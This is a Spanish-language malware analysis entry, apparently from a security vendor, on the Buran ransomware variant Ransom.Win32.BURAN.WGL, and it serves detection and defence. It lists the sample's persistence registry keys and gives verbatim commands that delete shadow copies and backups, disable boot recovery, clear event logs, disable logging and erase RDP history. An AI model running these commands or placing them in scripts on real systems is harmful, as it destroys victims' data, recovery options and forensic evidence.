Ransom.Win32.BURAN.WGL

Se ejecuta y, a continuación, se elimina.

Instalación

Crea las siguientes copias de sí mismo en el sistema afectado:

• %Application Data%\Microsoft\Windows\lsass.exe

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

Agrega los procesos siguientes:

• %System%\cmd.exe" /e:on /c md "%Applicatyion Data%\Microsoft\Windows" & copy "%Desktop%\{Malware Name}.exe" "%Application Data%\Microsoft\Windows\lsass.exe" & reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%Application Data%\Microsoft\Windows\lsass.exe\" *"
• reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Local Security Authority Subsystem Service" /t REG_SZ /F /D "\"%Application Data%\Microsoft\Windows\lsass.exe\" *"
• "%Application Data%\Microsoft\Windows\lsass.exe" *
• ping -n 3 127.1
• "%System%\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
• bcdedit /set {default} bootstatuspolicy ignoreallfailures
• "%System%\cmd.exe" /C bcdedit /set {default} recoveryenabled no
• bcdedit /set {default} recoveryenabled no
• "%System%\cmd.exe" /C wbadmin delete catalog -quiet
• wbadmin delete catalog -quiet
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup
• wbadmin delete systemstatebackup
• "%System%\cmd.exe" /C wbadmin delete systemstatebackup -keepversions:0
• wbadmin delete systemstatebackup -keepversions:0
• "%System%\cmd.exe" /C wbadmin delete backup
• wbadmin delete backup
• "%System%\cmd.exe" /C wmic shadowcopy delete
• wmic shadowcopy delete
• "%System%\cmd.exe" /C vssadmin delete shadows /all /quiet
• vssadmin delete shadows /all /quiet
• "%System%\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
• reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
• /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
• reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
• /C reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
• reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
• "%System%\cmd.exe" /C attrib "%userprofile%\documents\Default.rdp" -s -h
• attrib "%User Profile%\documents\Default.rdp" -s -h
• "%System%\cmd.exe" /C del "%userprofile%\documents\Default.rdp"
• "%System%\cmd.exe" /C wevtutil.exe clear-log Application
• wevtutil.exe clear-log Application
• "%System%\cmd.exe" /C wevtutil.exe clear-log Security
• wevtutil.exe clear-log Security
• "%System%\cmd.exe" /C wevtutil.exe clear-log System
• wevtutil.exe clear-log System
• "%System%\cmd.exe" /C sc config eventlog start=disabled
• sc config eventlog start=disabled
• "%System%\notepad.exe" %Desktop%\!!! YOUR FILES ARE ENCRYPTED !!!.TXT
• "%System%\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%Desktop%\buran.exe" & if not exist "%Desktop%\buran.exe" exit )
• "%System%\cmd.exe" /c for /l %x in (1,1,999) do ( ping -n 3 127.1 & del "%Application Data%\Microsoft\Windows\lsass.exe" & if not exist %Application Data%\Microsoft\Windows\lsass.exe" exit )

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

Se ejecuta y, a continuación, se elimina.

Deja archivos de texto a modo de notas de rescate que contienen lo siguiente:

Técnica de inicio automático

Agrega las siguientes entradas de registro para permitir su ejecución automática cada vez que se inicia el sistema:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
Local Security Authority Subsystem Service = ""%Application Data%\Microsoft\Windows\lsass.exe" *"

Otras modificaciones del sistema

Agrega las siguientes entradas de registro como parte de la rutina de instalación:

HKEY_CURRENT_USER\Software\Buran III

HKEY_CURRENT_USER\Software\Buran III\
Service

HKEY_LOCAL_MACHINE\BCD00000000\Objects\
{GUID}\Elements\250000e0

HKEY_CURRENT_USER\Software\Microsoft\
Terminal Server Client

HKEY_CURRENT_USER\Software\Microsoft\
Terminal Server Client\Servers

Agrega las siguientes entradas de registro:

HKEY_CURRENT_USER\Software\Buran III
Knock = "666"

HKEY_CURRENT_USER\Software\Buran III\
Service
Public Key = ""

HKEY_CURRENT_USER\Software\Buran III\
Service
Machine ID = ""

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosX = "164"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosY = "100"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosDX = "716"

HKEY_CURRENT_USER\Software\Microsoft\
Notepad
iWindowPosDY = "638"